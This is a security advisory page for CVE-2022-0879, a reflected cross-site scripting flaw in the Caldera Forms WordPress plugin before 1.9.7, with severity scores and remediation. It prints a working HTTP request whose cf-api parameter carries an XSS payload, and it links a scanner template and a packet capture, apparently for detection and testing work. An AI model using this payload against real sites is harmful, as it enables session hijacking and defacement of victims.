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CVE-2022-0879: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

TitleCaldera Forms < 1.9.7 - Reflected Cross-Site Scripting
Author0x_Akoko
SeverityMedium
ImpactAttackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
RemediationUpdate to version 1.9.7 or later.
CVSS Score6.1
EPSS Score0.01062
CVE IDCVE-2022-0879
CWE IDCWE-79
Tags wpscan cve cve2022 wordpress xss caldera-forms reflected unauth

🔍 Vulnerability Description

Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim’s browser, exploit requires attacker to craft a malicious request.

🌐 HTTP Request

GET /?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0879.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0879.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A